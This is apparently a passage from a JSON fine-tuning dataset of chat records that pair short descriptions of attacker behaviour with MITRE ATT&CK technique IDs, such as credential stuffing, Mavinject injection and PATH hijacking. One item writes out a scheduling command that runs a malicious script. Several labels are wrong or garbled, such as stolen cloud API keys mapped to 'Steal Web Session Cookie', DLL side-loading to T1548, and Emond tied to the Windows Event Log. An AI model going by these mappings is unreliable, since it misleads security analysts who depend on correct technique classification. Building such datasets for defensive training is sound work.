            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder procures a fresh SSL/TLS certificate from a free certificate authority to legitimize a command‑and‑control server."
            },
            {
                "role": "assistant",
                "content": "T1583 - Acquire Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvests corporate email addresses by parsing LinkedIn profiles and company websites to build a list of potential targets."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware creates a compressed archive of harvested data in a temporary location before sending it over the network."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminals acquire a botnet‑as‑a‑service subscription to amplify future DDoS attacks."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages access to a compromised Telegram group to collect exposed service account keys."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a vulnerable Jenkins plugin to send extracted database dumps to a malicious webhook endpoint."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a known OpenSSL vulnerability to disable forward secrecy, causing all sessions to use weak, static keys."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates are delivered through compromised Windows Installer packages, enabling persistent deployment on victim machines."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs 'at 03:00 /bin/bash /tmp/evil.sh' to launch a cryptominer during off‑peak hours."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries embed data within URL parameters of GET requests to a public web service, ensuring no inbound connection is required."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads the SAM hive to retrieve hashed passwords from the Windows Security Account Manager."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a list of usernames and passwords harvested from previous data breaches to automate login attempts against a banking portal."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates Linux syslog files to identify recent authentication failures."
            },
            {
                "role": "assistant",
                "content": "T1654 - Log Enumeration"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ credentialed scans to enumerate missing security patches across the enterprise environment."
            },
            {
                "role": "assistant",
                "content": "T1595.002 - Active Scanning: Vulnerability Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised Wi‑Fi router to perform a man‑in‑the‑middle attack and inject malicious traffic."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a new forest trust with a malicious domain to elevate privileges across the network."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a vulnerability in a system monitoring tool, the adversary causes it to consume all CPU resources, leading to endpoint DoS."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor gains control of a DNS server and uses it for data exfiltration via DNS tunneling."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan drops a COM class that implements IUnknown and uses CoCreateInstance to instantiate it from a separate malicious process."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors distribute a crafted XSL document that, when parsed by Windows XML parsers, runs a hidden PowerShell script to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intruder deploys a compromised password filter DLL to intercept and exfiltrate user credentials on login."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware variant uses a polymorphic engine that re-encrypts its payload each time it infects a new host."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware established a SOCKS proxy over an uncommon UDP port to channel stolen information out of the network."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample is discovered, utilizing kernel-mode rootkits to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor employs WMI’s Win32_LogicalDisk class to enumerate disk volumes and identify data exfiltration targets."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stores its payload in encrypted form within registry keys and executes it from memory, exemplifying fileless storage."
            },
            {
                "role": "assistant",
                "content": "T1027.011 - Obfuscated Files or Information: Fileless Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised router rewrites NTP packets, causing time desynchronization on client devices."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware calls IsDebuggerPresent and aborts its payload if a debugger is detected, employing anti‑debugging checks to evade analysis."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a malicious folder to the beginning of the PATH environment variable, ensuring that their trojan executable is run instead of the legitimate system binary."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Drive‑by download occurs when an unsuspecting user browses to a compromised forum and the site exploits a Flash vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation module extracts saved credentials from the Opera browser's encrypted storage."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker examines the \"Device Manager\" via COM automation to list driver entries."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a race condition in the host's cgroup management, the malicious code escaped the container isolation and executed arbitrary code on the host."
            },
            {
                "role": "assistant",
                "content": "T1611 - Escape to Host"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised account is used to create a systemd timer that invokes a data‑stealing binary whenever a user logs in via SSH."
            },
            {
                "role": "assistant",
                "content": "T1053.006 - Scheduled Task/Job: Systemd Timers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spawns a hidden window with the WS_EX_TOOLWINDOW style to hide its presence from the user while performing data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1564.003 - Hide Artifacts: Hidden Window"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs Mavinject to inject a credential-stealing DLL into the dcomlaunch.exe process, using the trusted binary to hide malicious activity."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spoofed media file (e.g., .mp4) contains an embedded executable; when the user clicks to play the file, the hidden executable runs and compromises the system."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware switches to a secondary DNS tunneling channel if its primary HTTP C2 server is blocked."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a publicly accessible Google Docs folder, uploading harvested files via the Docs API without establishing a two-way channel."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Mavinject to inject code into svchost.exe, using the system binary as a proxy for running their payload."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware group pulls a tampered Docker image from a public repository and starts it on victim machines to execute encryption payloads."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvested private keys and certificates from the Windows Certificate Store to impersonate legitimate users."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group modifies existing exploit code to bypass new security mitigations and increase effectiveness."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary extracts a Kerberos Ticket Granting Ticket (TGT) from memory and uses it to request service tickets for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1558 - Steal or Forge Kerberos Tickets"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team searches source code repositories for embedded SSH private keys."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a malicious PCIe card installed in a server to sniff memory bus traffic and extract cryptographic keys."
            },
            {
                "role": "assistant",
                "content": "T1557 - Adversary-in-the-Middle"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates installed software and their configuration settings by reading the Windows Registry keys under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker distributes a phishing SMS (smishing) that appears to be from the company's mobile app support, asking users to click a link and enter their account details, which are then captured."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A targeted phishing campaign delivers an email containing a shortened link that redirects to a credential‑harvesting portal mimicking the organization’s intranet."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious update rolls back the firewall's firmware, disabling intrusion detection features."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors modify the Windows registry to prepend a malicious folder to the DLL search order, leading programs to load compromised libraries."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary queries public DNS for TXT records that may leak internal hostnames or configuration data."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious installer changed its filename from \"setup.msi\" to \"wininit.exe\" to appear as a core Windows initialization process."
            },
            {
                "role": "assistant",
                "content": "T1036.003 - Masquerading: Rename System Utilities"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Content injection occurs when an adversary injects a malicious redirect script into a URL shortener service."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a DLL side-loading attack to run malicious code in a high-privilege process."
            },
            {
                "role": "assistant",
                "content": "T1548 - Abuse Elevation Control Mechanism"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor creates a rogue Active Directory domain controller to poison DNS and redirect authentication requests to their machine."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro triggers the OS camera driver to start video recording during a video conference call."
            },
            {
                "role": "assistant",
                "content": "T1125 - Video Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the laptop's battery threshold to 100% and disables hibernation, ensuring continuous operation even on low battery."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Outlook Forms feature to run a script whenever a user opens their email client, achieving persistence."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers set up a proxy chaining mechanism using SSH tunnels across multiple compromised systems to stealthily exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware updates the system's code signing enforcement settings to ignore signature validation."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor creates a Windows Service with delayed start that periodically calls a PowerShell command to post data to a webhook."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors scrape open-source code bases for hard‑coded passwords and tokens that can be reused against the victim."
            },
            {
                "role": "assistant",
                "content": "T1593.003 - Search Open Websites/Domains: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor injects code into a trusted process and then forks a new process that carries the same name and PPID as the original, confusing detection tools."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the red team cleared the compromised user’s mailboxes via MAPI calls to eliminate evidence."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses the Netsh helper DLL load functionality by adding a malicious entry to the \\HKCU\\Software\\Microsoft\\Netsh\\HelperDLL registry key, causing user‑level execution when netsh is run."
            },
            {
                "role": "assistant",
                "content": "T1546.007 - Event Triggered Execution: Netsh Helper DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used an encrypted HTTPS tunnel to send stolen files from the compromised host back to their command server."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script extracts a token from a service process and uses it to execute a PowerShell script as an administrator."
            },
            {
                "role": "assistant",
                "content": "T1134.002 - Access Token Manipulation: Create Process with Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By prepending a rogue path to the PATH variable, the adversary ensures its payload is executed before the legitimate binary."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the \"schtasks\" utility to schedule a task that runs a malicious batch file at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a custom Python script, the malicious actor enumerated all responsive IPs within the 192.168.1.0/24 network."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is set up to run via Emond when the Windows Event Log records a service start action."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors gain access to an existing cloud storage bucket by stealing API keys."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant continuously logs every keystroke on the compromised workstation and writes the data to a covert directory."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor triggers a restore of a previously captured image of an Oracle Cloud instance to eliminate evidence of the breach."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting Mavinject, the actor injects a backdoor into a Windows system binary, achieving persistence and privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1218.013 - System Binary Proxy Execution: Mavinject"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
